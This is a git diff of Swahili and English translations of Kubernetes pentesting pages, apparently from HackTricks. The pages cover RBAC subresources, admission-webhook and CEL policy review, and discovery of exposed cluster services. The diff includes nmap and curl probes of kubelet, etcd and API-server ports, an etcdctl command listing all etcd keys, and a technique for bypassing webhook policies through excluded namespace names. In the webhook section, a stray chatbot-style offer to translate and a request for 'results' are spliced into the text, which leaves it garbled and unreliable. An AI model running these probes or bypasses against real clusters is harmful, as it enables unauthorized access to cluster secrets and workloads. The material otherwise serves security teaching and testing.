### Maelezo yanayostahili kukaguliwa
|
||||
### Details worth checking
|
||||
|
||||
RBAC hutumia resource names kama zinavyoonekana kwenye API URLs, si YAML `kind`. Pod ni `pods`, Deployment ni `deployments`, na subresources huandikwa kwa slash kama `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` au `services/proxy`. Ruhusa kwenye `pods` haimpi moja kwa moja access ya `pods/exec` au `pods/log`.
|
||||
RBAC hutumia resource names kama zinavyoonekana kwenye API URLs, sio YAML `kind`. Pod ni `pods`, Deployment ni `deployments`, na subresources huandikwa kwa slash kama `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` au `services/proxy`. Permission kwenye `pods` halitoi automatically access ya `pods/exec` au `pods/log`.
|
||||
|
||||
`resourceNames` inaweza kuzuia baadhi ya requests kwa object names maalum:
|
||||
`resourceNames` zinaweza kuzuia baadhi ya requests kwa object names maalum:
|
||||
```yaml
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
@@ -136,7 +144,7 @@ resources: ["configmaps"]
|
||||
resourceNames: ["app-config"]
|
||||
verbs: ["get", "update"]
|
||||
```
|
||||
Hii haizuii `create` au `deletecollection` za kiwango cha juu kwa jina. Kwa `list` na `watch`, mteja lazima ajumuishe `metadata.name` field selector inayolingana, vinginevyo ombi halijaidhinishwa na sheria hiyo:
|
||||
Hii haiwekei vizuizi kwa `create` au `deletecollection` za kiwango cha juu kwa jina. Kwa `list` na `watch`, mteja lazima ajumuishe `metadata.name` inayolingana ya field selector, vinginevyo ombi halijaidhinishwa na sheria hiyo:
|
||||
```bash
|
||||
kubectl get configmaps -n default --field-selector=metadata.name=app-config
|
||||
```
|
||||
@@ -147,8 +155,9 @@ kubectl auth can-i create serviceaccounts/token -n default
|
||||
kubectl auth can-i impersonate users
|
||||
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
|
||||
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
|
||||
kubectl auth can-i impersonate-on:user-info:list pods -n default
|
||||
```
|
||||
## **Kuorodhesha RBAC**
|
||||
## **Kuhesabu RBAC**
|
||||
```bash
|
||||
# Get current privileges
|
||||
kubectl auth can-i --list
|
||||
@@ -170,7 +179,7 @@ kubectl describe roles
|
||||
kubectl get rolebindings
|
||||
kubectl describe rolebindings
|
||||
```
|
||||
### Kutumia vibaya Role/ClusterRoles kwa Privilege Escalation
|
||||
### Tumia vibaya Role/ClusterRoles kwa Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
|
||||
+57
-47
@@ -6,24 +6,24 @@
|
||||
|
||||
## Definition
|
||||
|
||||
`ValidatingWebhookConfiguration` ni rasilimali ya Kubernetes ambayo husajili validating admission webhooks moja au zaidi. Webhooks hizi hupokea maombi ya AdmissionReview kutoka kwa API server baada ya authentication na authorization, lakini kabla ya object kuhifadhiwa.
|
||||
`ValidatingWebhookConfiguration` ni rasilimali ya Kubernetes inayosajili validating admission webhooks moja au zaidi. Webhooks hizi hupokea maombi ya AdmissionReview kutoka kwa API server baada ya authentication na authorization, lakini kabla ya object kuhifadhiwa.
|
||||
|
||||
Validating webhooks zinaweza kukataa request. Mutating webhooks, zilizosanidiwa kwa `MutatingWebhookConfiguration`, zinaweza kubadilisha object kwanza. Security reviews kwa kawaida zinapaswa kukagua rasilimali zote mbili kwa sababu mutating webhook mbaya au dhaifu inaweza kuandika upya workloads, ilhali validating webhook au policy engine inaweza kuzizuia au kuziruhusu.
|
||||
Validating webhooks zinaweza kukataa ombi. Mutating webhooks, zilizosanidiwa kwa `MutatingWebhookConfiguration`, zinaweza kubadilisha object kwanza. Security reviews kwa kawaida zinapaswa kukagua rasilimali zote mbili kwa sababu mutating webhook hasidi au dhaifu inaweza kuandika upya workloads, wakati validating webhook au policy engine inaweza kuzuia au kuziruhusu.
|
||||
|
||||
## Purpose
|
||||
|
||||
Lengo la `ValidatingWebhookConfiguration` ni kufafanua ni lini API server inapaswa kuita validating webhook na jinsi inavyopaswa kushughulikia matokeo ya webhook. Swali muhimu la usalama si tu "je, policy imewekwa?", bali pia:
|
||||
Lengo la `ValidatingWebhookConfiguration` ni kufafanua API server inapaswa kuita validating webhook lini na jinsi inavyopaswa kushughulikia matokeo ya webhook. Swali muhimu la usalama si tu "policy imewekwa?", bali pia:
|
||||
|
||||
- Ni API groups, resources, operations, na scopes zipi zinazoendana nayo?
|
||||
- Ni namespaces au objects zipi zinazoondolewa na selectors?
|
||||
- Je, `matchConditions` inaruka aina yoyote ya request?
|
||||
- Je, `failurePolicy` inashindwa open kwa `Ignore` au inashindwa closed kwa `Fail`?
|
||||
- Je, huduma ya webhook inafikika, inaaminika na `caBundle` iliyosanidiwa, na inaendeshwa na highly privileged service account?
|
||||
- Ni API groups, resources, operations, na scopes zipi inalingana nazo?
|
||||
- Ni namespaces au objects zipi zimeondolewa kwa selectors?
|
||||
- Je, `matchConditions` inaruka aina zozote za maombi?
|
||||
- Je, `failurePolicy` inafail open kwa `Ignore` au fail closed kwa `Fail`?
|
||||
- Je, huduma ya webhook inapatikana, inaaminika na `caBundle` iliyosanidiwa, na inaendeshwa na service account yenye priviliji nyingi?
|
||||
- Je, policy engine pia inatoa exception resources, excluded users, au excluded groups?
|
||||
|
||||
**Example**
|
||||
|
||||
Hapa kuna mfano wa ValidatingWebhookConfiguration:
|
||||
Huu hapa ni mfano wa ValidatingWebhookConfiguration:
|
||||
```yaml
|
||||
apiVersion: admissionregistration.k8s.io/v1
|
||||
kind: ValidatingWebhookConfiguration
|
||||
@@ -57,8 +57,8 @@ Tofauti kuu kati ya ValidatingWebhookConfiguration na policies :
|
||||
|
||||
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
|
||||
|
||||
- **ValidatingWebhookConfiguration (VWC)** : Rasilimali ya Kubernetes inayofafanua validating webhook, ambayo ni sehemu ya upande wa seva inayothibitisha maombi yanayoingia ya Kubernetes API dhidi ya seti ya sheria na vizuizi vilivyobainishwa mapema.
|
||||
- **Kyverno ClusterPolicy**: Ufafanuzi wa policy unaobainisha seti ya sheria na vizuizi kwa ajili ya kuthibitisha na kutekeleza rasilimali za Kubernetes, kama vile pods, deployments, na services
|
||||
- **ValidatingWebhookConfiguration (VWC)** : Rasilimali ya Kubernetes inayofafanua validating webhook, ambayo ni sehemu ya upande wa server inayohakiki maombi yanayoingia ya Kubernetes API dhidi ya seti ya sheria na vikwazo vilivyobainishwa awali.
|
||||
- **Kyverno ClusterPolicy**: Ufafanuzi wa policy unaobainisha seti ya sheria na vikwazo kwa ajili ya kuhakiki na kutekeleza rasilimali za Kubernetes, kama vile pods, deployments, na services
|
||||
|
||||
## Enumeration
|
||||
```
|
||||
@@ -70,46 +70,54 @@ $ kubectl get svc,deploy,pod -A | grep -i webhook
|
||||
Fields to inspect:
|
||||
|
||||
- `rules`: Angalia API groups, versions, resources, subresources, operations, na scope zilizofunikwa.
|
||||
- `namespaceSelector` / `objectSelector`: Angalia namespaces au labels zinazotoa resources nje ya policy.
|
||||
- `matchConditions`: CEL expressions zinaweza kwa makusudi au kimakosa kuruka requests.
|
||||
- `failurePolicy`: `Ignore` huacha requests zikiendelea ikiwa webhook inashindwa; `Fail` huzizuia.
|
||||
- `sideEffects`: Webhooks zenye side effects huenda zisisaidie dry-run testing.
|
||||
- `timeoutSeconds`: timeouts fupi sana zikichanganywa na `Ignore` zinaweza kuwa fail-open behavior.
|
||||
- `clientConfig`: Kagua kama webhook inaelekeza kwenye in-cluster Service au external URL, na chunguza backing workload na service account.
|
||||
- `reinvocationPolicy`: Mutating webhooks zinaweza kuitwa tena wakati mutation ya baadaye inabadilisha object.
|
||||
- `namespaceSelector` / `objectSelector`: Tafuta namespaces au labels zinazoondoa resources kutoka kwenye policy.
|
||||
- `matchConditions`: CEL expressions zinaweza kwa makusudi au kwa bahati ku-skip requests.
|
||||
- `failurePolicy`: `Ignore` huacha requests ziendelee ikiwa webhook itashindwa; `Fail` huzizuia.
|
||||
- `sideEffects`: Webhooks zenye side effects huenda zisikubali dry-run testing.
|
||||
- `timeoutSeconds`: timeouts fupi sana zikiunganishwa na `Ignore` zinaweza kuwa fail-open behavior.
|
||||
- `clientConfig`: Kagua kama webhook inaelekeza kwa in-cluster Service au external URL, na kagua backing workload na service account.
|
||||
- `reinvocationPolicy`: Mutating webhooks zinaweza kuitishwa tena wakati mutation ya baadaye inabadilisha object.
|
||||
|
||||
### Native CEL admission policies
|
||||
|
||||
Modern clusters zinaweza pia kutekeleza admission logic kwa native policy objects ndani ya `admissionregistration.k8s.io`, si kwa webhook configurations pekee. `ValidatingAdmissionPolicy` ni in-process CEL-based alternative to validating webhooks na huwa active tu wakati `ValidatingAdmissionPolicyBinding` inai-select. `MutatingAdmissionPolicy` ni stable katika Kubernetes v1.36 na huwashwa na `MutatingAdmissionPolicyBinding` kwa CEL-generated mutations.
|
||||
|
||||
Enumerate them with:
|
||||
```bash
|
||||
kubectl api-resources --api-group=admissionregistration.k8s.io -o wide
|
||||
kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings
|
||||
kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true
|
||||
kubectl get validatingadmissionpolicy <name> -o yaml
|
||||
kubectl get validatingadmissionpolicybinding <name> -o yaml
|
||||
```
|
||||
Security checks:
|
||||
|
||||
- A policy without a binding does not enforce anything.
|
||||
- `validationActions` on the binding decides whether validation failures are denied, warned, audited, or only recorded.
|
||||
- `failurePolicy: Ignore` lets CEL evaluation errors or misconfiguration fail open.
|
||||
- `matchConstraints`, `matchConditions`, `namespaceSelector`, and `objectSelector` can exclude sensitive requests.
|
||||
- `paramKind` and `paramRef` can make ConfigMaps or CRD-backed parameter objects part of the policy boundary; check who can modify those parameter objects.
|
||||
- Writes to policies, bindings, and parameter resources should be treated like privileged admission-control changes.
|
||||
|
||||
### Abusing Kyverno and Gatekeeper VWC
|
||||
|
||||
As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC).
|
||||
Kama tunavyoona, all operators zilizosakinishwa zina angalau moja ValidatingWebHookConfiguration(VWC).
|
||||
|
||||
**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster.
|
||||
**Kyverno** na **Gatekeeper** zote mbili ni Kubernetes policy engines zinazotoa framework ya kufafanua na kutekeleza policies ndani ya cluster.
|
||||
|
||||
Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way !
|
||||
Exceptions hurejelea rules au conditions maalum zinazoruhusu policy kupuuzwa au kubadilishwa chini ya circumstances fulani, lakini hii si njia pekee !
|
||||
|
||||
For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated.
|
||||
Kwa **kyverno**, mara tu kunapokuwepo validating policy, webhook `kyverno-resource-validating-webhook-cfg` hujazwa.
|
||||
|
||||
For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file.
|
||||
Kwa Gatekeeper, kuna `gatekeeper-validating-webhook-configuration` YAML file.
|
||||
|
||||
Both come from with default values but the Administrator teams might updated those 2 files.
|
||||
Zote huja na default values, lakini Administrator teams huenda wakawa wamezibadilisha hizo faili 2.
|
||||
|
||||
### Use Case
|
||||
```bash
|
||||
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
|
||||
```
|
||||
# ValidatingWebhookConfiguration
|
||||
|
||||
`ValidatingWebhookConfiguration` ni resource ya Kubernetes ambayo inafafanua seti ya webhooks ambazo Kubernetes itaiteka ili kuthibitisha requests fulani kabla hazijakubaliwa.
|
||||
|
||||
Kwa ujumla, inaweza kutumika kutekeleza policy za custom za usalama au kuzuia mabadiliko yasiyotakiwa kwenye cluster. Hii ni muhimu sana kwa security testing na pentesting ya Kubernetes, kwa sababu inaweza kufichua jinsi admissions controls zinavyofanya kazi na kama kuna njia za kuzibypass.
|
||||
|
||||
Mara nyingi, `ValidatingWebhookConfiguration` inaweza kuhusiana na:
|
||||
|
||||
- kuthibitisha `CREATE`, `UPDATE`, au `DELETE` requests
|
||||
- kuzuia creation ya resources zisizoruhusiwa
|
||||
- kulazimisha security policies
|
||||
- kukagua payloads kabla ya kuingia kwenye cluster
|
||||
|
||||
Ikiwa unahitaji, naweza pia kutafsiri au kuandaa maelezo zaidi ya sehemu hii ya `kubernetes-validatingwebhookconfiguration.md` kwa Kiswahili.
|
||||
Tafadhali toa matokeo yafuatayo:
|
||||
```yaml
|
||||
namespaceSelector:
|
||||
matchExpressions:
|
||||
@@ -122,22 +130,22 @@ values:
|
||||
- kube-system
|
||||
- MYAPP
|
||||
```
|
||||
Hapa, `kubernetes.io/metadata.name` inarejelea lebo ya jina la namespace. Namespaces zenye majina kwenye orodha ya `values` zitatolewa nje ya policy:
|
||||
Hapa, `kubernetes.io/metadata.name` inarejelea label ya jina la namespace. Namespaces zenye majina yaliyo kwenye orodha ya `values` zitaondolewa kwenye policy:
|
||||
|
||||
Kagua uwepo wa namespaces. Wakati mwingine, kutokana na automation au misconfiguration, baadhi ya namespaces huenda hazijaundwa. Ukiwa na ruhusa ya kuunda namespace, unaweza kuunda namespace yenye jina lililo kwenye orodha ya `values` na policies hazitatumika kwa namespace yako mpya.
|
||||
Angalia uwepo wa namespaces. Wakati mwingine, kutokana na automation au misconfiguration, baadhi ya namespaces huenda hazijaundwa. Ikiwa una ruhusa ya kuunda namespace, unaweza kuunda namespace yenye jina lililo kwenye orodha ya `values` na policies hazitatumika kwenye namespace yako mpya.
|
||||
|
||||
Lengo la shambulio hili ni kutumia **misconfiguration** ndani ya VWC ili kupita vikwazo vya operators kisha kuongeza privileges zako kwa techniques nyingine
|
||||
Lengo la shambulio hili ni kutumia **misconfiguration** ndani ya VWC ili kupita vikwazo vya operators kisha kuongeza privileges zako kwa kutumia techniques nyingine
|
||||
|
||||
Mifumo mingine ya kawaida ya bypass au abuse:
|
||||
|
||||
- `objectSelector` inayowaruhusu watumiaji kuongeza lebo ya opt-out kwenye objects zao wenyewe.
|
||||
- `failurePolicy: Ignore` kwenye validation muhimu ya usalama, hasa webhook Service ikiwa haina endpoints au networking isiyoaminika.
|
||||
- Policy engine exceptions kwa users, groups, service accounts, namespaces, au roles zilizo pana kuliko ilivyokusudiwa.
|
||||
- Kukosa coverage kwa workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources, au update operations.
|
||||
- `objectSelector` inayowaruhusu users kuongeza opt-out label kwenye objects zao wenyewe.
|
||||
- `failurePolicy: Ignore` kwenye validation muhimu ya security, hasa wakati webhook Service haina endpoints au networking isiyoaminika.
|
||||
- Policy engine exceptions kwa users, groups, service accounts, namespaces, au roles ambazo ni pana zaidi kuliko ilivyokusudiwa.
|
||||
- Kukosekana kwa coverage kwa workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources, au update operations.
|
||||
- Write access kwa `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies, au exception resources.
|
||||
- Mutating webhook hasidi inayodunga containers, kubadilisha images, kuweka secrets, kuongeza tolerations, au kubadilisha uteuzi wa service account kabla ya validation.
|
||||
- Mutating webhook mbaya inayodunga containers, kubadilisha images, kuweka mounts za secrets, kuongeza tolerations, au kubadilisha uteuzi wa service account kabla ya validation.
|
||||
|
||||
Kumbuka kwamba admission inalinda tu requests zinazopita kupitia API server admission chain. Static Pods, node-local runtime socket access, direct kubelet abuse, na direct etcd access ni trust paths tofauti na zinahitaji hardening na monitoring tofauti.
|
||||
Kumbuka kwamba admission hulinda tu requests zinazopita kupitia API server admission chain. Static Pods, node-local runtime socket access, direct kubelet abuse, na direct etcd access ni trust paths tofauti na zinahitaji hardening na monitoring tofauti.
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -150,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
|
||||
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/)
|
||||
- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/)
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Kubernetes hutumia huduma kadhaa za **mtandao maalum** ambazo unaweza kuzikuta **zimefichuliwa kwenye Internet** au ndani ya **mtandao wa ndani mara tu unapokuwa umecompromise pod moja**.
|
||||
Kubernetes hutumia huduma kadhaa za mtandao **maalum** ambazo unaweza kuzikuta **zikiwa wazi kwa Internet** au kwenye **mtandao wa ndani baada ya ku-compromise pod moja**.
|
||||
|
||||
## Finding exposed pods with OSINT
|
||||
|
||||
@@ -10,17 +10,17 @@ Njia moja inaweza kuwa kutafuta `Identity LIKE "k8s.%.com"` katika [crt.sh](http
|
||||
|
||||
Useful external recon signals to correlate before scanning:
|
||||
|
||||
- DNS na certificate transparency majina yanayojumuisha `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, au majina ya region.
|
||||
- Majina ya cloud load balancer, CNAMEs, tags, na provider hostnames ambazo zinaweza kuunganisha application au platform UI iliyofichuliwa kurudi kwenye cluster.
|
||||
- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, na documentation vinavyovuja kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, au dashboard settings.
|
||||
- Managed Kubernetes inventory, wakati cloud credentials ziko ndani ya scope: EKS endpoint public/private access na public CIDRs, GKE public/private control-plane settings na authorized networks, na AKS private cluster/API server authorized IP settings.
|
||||
- Zana za platform zilizo wazi karibu na cluster kama Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, na ingress-controller admin au metrics endpoints.
|
||||
- DNS and certificate transparency names containing `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, or region names.
|
||||
- Cloud load balancer names, CNAMEs, tags, and provider hostnames that can link an exposed application or platform UI back to a cluster.
|
||||
- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, and documentation leaking kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, or dashboard settings.
|
||||
- Managed Kubernetes inventory, when cloud credentials are in scope: EKS endpoint public/private access and public CIDRs, GKE public/private control-plane settings and authorized networks, and AKS private cluster/API server authorized IP settings.
|
||||
- Exposed platform tools around the cluster such as Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, and ingress-controller admin or metrics endpoints.
|
||||
|
||||
Zingatia hizi kama vidokezo vya attribution na prioritization. Public Ingress application ni kawaida katika cluster nyingi, wakati exposed kubelet, etcd, dashboard, CI/CD deploy control, au leaked kubeconfig material vinapaswa kupewa kipaumbele kikubwa zaidi.
|
||||
Treat these as attribution and prioritization clues. A public Ingress application is normal in many clusters, while exposed kubelet, etcd, dashboard, CI/CD deploy control, or leaked kubeconfig material should be prioritized much higher.
|
||||
|
||||
## How Kubernetes Exposes Services
|
||||
|
||||
Huenda ikakusaidia kuelewa jinsi Kubernetes inaweza **ku-expose services publicly** ili uziupeane:
|
||||
Inaweza kukufaa kuelewa jinsi Kubernetes inaweza **kufichua services hadharani** ili uweze kuzipata:
|
||||
|
||||
{{#ref}}
|
||||
../exposing-services-in-kubernetes.md
|
||||
@@ -28,7 +28,7 @@ Huenda ikakusaidia kuelewa jinsi Kubernetes inaweza **ku-expose services publicl
|
||||
|
||||
## Finding Exposed pods via port scanning
|
||||
|
||||
Ports zifuatazo zinaweza kuwa wazi katika Kubernetes cluster:
|
||||
The following ports might be open in a Kubernetes cluster:
|
||||
|
||||
| Port | Process | Description |
|
||||
| --------------- | -------------- | ---------------------------------------------------------------------- |
|
||||
@@ -39,11 +39,11 @@ Ports zifuatazo zinaweza kuwa wazi katika Kubernetes cluster:
|
||||
| 6443/TCP | kube-apiserver | Kubernetes API port |
|
||||
| 8443/TCP | kube-apiserver | Minikube API port |
|
||||
| 8080/TCP | kube-apiserver | Insecure API port |
|
||||
| 10250/TCP | kubelet | HTTPS API ambayo inaruhusu full mode access |
|
||||
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods na node state |
|
||||
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
|
||||
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
|
||||
| 10256/TCP | kube-proxy | Kube Proxy health check server |
|
||||
| 9099/TCP | calico-felix | Health check server kwa Calico |
|
||||
| 6782-4/TCP | weave | Metrics na endpoints |
|
||||
| 9099/TCP | calico-felix | Health check server for Calico |
|
||||
| 6782-4/TCP | weave | Metrics and endpoints |
|
||||
| 30000-32767/TCP | NodePort | Proxy to the services |
|
||||
| 44134/TCP | Tiller | Helm service listening |
|
||||
|
||||
@@ -53,15 +53,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
|
||||
```
|
||||
### Kube-apiserver
|
||||
|
||||
Hii ni **API Kubernetes service** ambayo wasimamizi huwasiliana nayo, kwa kawaida wakitumia tool **`kubectl`**.
|
||||
Hii ni **API ya huduma ya Kubernetes** ambayo wasimamizi huwasiliana nayo kwa kawaida wakitumia tool **`kubectl`**.
|
||||
|
||||
**Common ports: 6443 and 443**, lakini pia 8443 katika minikube na 8080 kama insecure.
|
||||
**Ports za kawaida: 6443 na 443**, lakini pia 8443 katika minikube na 8080 kama insecure.
|
||||
```bash
|
||||
curl -k https://<IP Address>:(8|6)443/swaggerapi
|
||||
curl -k https://<IP Address>:(8|6)443/healthz
|
||||
curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
```
|
||||
**Angalia ukurasa ufuatao ili kujifunza jinsi ya kupata data nyeti na kutekeleza vitendo nyeti kwa kuzungumza na huduma hii:**
|
||||
**Angalia ukurasa ufuatao ili kujifunza jinsi ya kupata data nyeti na kufanya vitendo nyeti kwa kuzungumza na huduma hii:**
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-enumeration.md
|
||||
@@ -69,18 +69,18 @@ curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
|
||||
### Kubelet API
|
||||
|
||||
Huduma hii **huendeshwa katika kila node ya cluster**. Ni huduma inayoweza **kudhibiti** pods ndani ya **node**. Inazungumza na **kube-apiserver**.
|
||||
Huduma hii **huendeshwa katika kila node ya cluster**. Ni huduma ambayo **itadhibiti** pods ndani ya **node**. Inazungumza na **kube-apiserver**.
|
||||
|
||||
Ukikuta huduma hii imefichuliwa unaweza kuwa umepata **unauthenticated RCE**.
|
||||
Ukikuta huduma hii ikiwa exposed unaweza kuwa umepata **unauthenticated RCE**.
|
||||
|
||||
#### Kubelet API
|
||||
```bash
|
||||
curl -k https://<IP address>:10250/metrics
|
||||
curl -k https://<IP address>:10250/pods
|
||||
```
|
||||
Ikiwa jibu ni `Unauthorized` basi linahitaji authentication.
|
||||
Ikiwa jibu ni `Unauthorized` basi inahitaji authentication.
|
||||
|
||||
Ikiwa unaweza kuorodhesha nodes unaweza kupata orodha ya kubelets endpoints kwa:
|
||||
Ukianyaweza kuorodhesha nodes unaweza kupata orodha ya kubelets endpoints kwa:
|
||||
```bash
|
||||
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
|
||||
ip=$(echo $node | awk '{print $1}')
|
||||
@@ -94,7 +94,7 @@ done
|
||||
curl -k https://<IP Address>:10255
|
||||
http://<external-IP>:10255/pods
|
||||
```
|
||||
### etcd API
|
||||
### API ya etcd
|
||||
```bash
|
||||
curl -k https://<IP address>:2379
|
||||
curl -k https://<IP address>:2379/version
|
||||
@@ -104,23 +104,23 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
```bash
|
||||
helm --host tiller-deploy.kube-system:44134 version
|
||||
```
|
||||
Unaweza kutumia vibaya service hii ili kupandisha privileges ndani ya Kubernetes:
|
||||
Unaweza kutumia vibaya service hii ili kuongeza privileges ndani ya Kubernetes:
|
||||
|
||||
### cAdvisor
|
||||
|
||||
Service yenye manufaa ya kukusanya metrics.
|
||||
Service muhimu kwa kukusanya metrics.
|
||||
```bash
|
||||
curl -k https://<IP Address>:4194
|
||||
```
|
||||
### NodePort
|
||||
|
||||
Wakati port imefichuliwa katika nodes zote kupitia **NodePort**, port hiyo hiyo hufunguliwa katika nodes zote ikiprokksi traffic kwenda kwenye **Service** iliyotangazwa. Kwa default, port hii itakuwa katika **range 30000-32767**. Kwa hiyo new unchecked services zinaweza kupatikana kupitia ports hizo.
|
||||
Wakati port imeexposed katika nodes zote kupitia **NodePort**, port ile ile hufunguliwa katika nodes zote, iki-proxy traffic kwenda kwenye **Service** iliyotangazwa. Kwa default port hii itakuwa katika **range 30000-32767**. Hivyo services mpya ambazo hazijacheckwa zinaweza kupatikana kupitia ports hizo.
|
||||
```bash
|
||||
sudo nmap -sS -p 30000-32767 <IP>
|
||||
```
|
||||
### Service mesh na proxy surfaces
|
||||
### Service mesh and proxy surfaces
|
||||
|
||||
Clusters zinazotumia **Istio, Linkerd, Cilium service mesh, au Envoy-based gateways** huongeza tabaka jingine la service la ku-enumerate. Mesh inaweza kutoa mTLS, workload identity, L7 routing, authorization policy, telemetry, na gateway/egress controls, lakini hulinda tu traffic ambayo kweli imejiunga na imeinterceptwa na mesh.
|
||||
Clusters zinazotumia **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** huongeza service layer nyingine ya ku-enumerate. Mesh inaweza kutoa mTLS, workload identity, L7 routing, authorization policy, telemetry, na gateway/egress controls, lakini hulinda tu traffic ambayo kwa kweli imeandikishwa na kukamatwa na mesh.
|
||||
|
||||
Useful checks from Kubernetes access:
|
||||
```bash
|
||||
@@ -145,23 +145,33 @@ Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicie
|
||||
|
||||
### Kube-apiserver Anonymous Access
|
||||
|
||||
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
|
||||
Anonymous access to **kube-apiserver resource APIs should not be allowed**. Health endpoints such as `/livez`, `/readyz`, and `/healthz` may be intentionally reachable, especially when the API server uses `AuthenticationConfiguration` to scope anonymous requests to specific paths. Treat health or version responses as reachability evidence; the critical issue is a `200` response for real resource APIs such as namespaces, Secrets, Pods, RBAC objects, metrics, logs, or proxy subresources without valid credentials.
|
||||
|
||||
|
||||
|
||||
Useful checks:
|
||||
```bash
|
||||
APISERVER='https://<api-server>:6443'
|
||||
curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez"
|
||||
curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz"
|
||||
curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces"
|
||||
curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles"
|
||||
```
|
||||
Ikiwa resource APIs zinarudisha `403`, API server huenda imeainisha ombi kama `system:anonymous` lakini authorization imezizuia. Ikiwa resource APIs zinarudisha `200` bila credentials, tafuta RoleBindings au ClusterRoleBindings kwenda `system:anonymous` au `system:unauthenticated`, permissive authorizer-chain configuration, au front-door authentication mistake.
|
||||
|
||||
### **Checking for ETCD Anonymous Access**
|
||||
|
||||
The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check.
|
||||
ETCD huhifadhi cluster secrets, configuration files na zaidi **sensitive data**. Kwa **default**, ETCD **haiwezi** kufikiwa **anonymously**, lakini daima ni vizuri kuangalia.
|
||||
|
||||
If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored:
|
||||
Ikiwa ETCD inaweza kufikiwa anonymously, huenda ukahitaji **kutumia** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. Amri ifuatayo itapata keys zote zilizohifadhiwa:
|
||||
```bash
|
||||
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
```
|
||||
### **Kubelet RCE**
|
||||
|
||||
The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) inaeleza kwamba kwa **default anonymous acce**ss kwa huduma hii **inaruhusiwa:**
|
||||
The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) inaeleza kwamba kwa **default anonymous acce**ss kwa service hii **inaruhusiwa:**
|
||||
|
||||
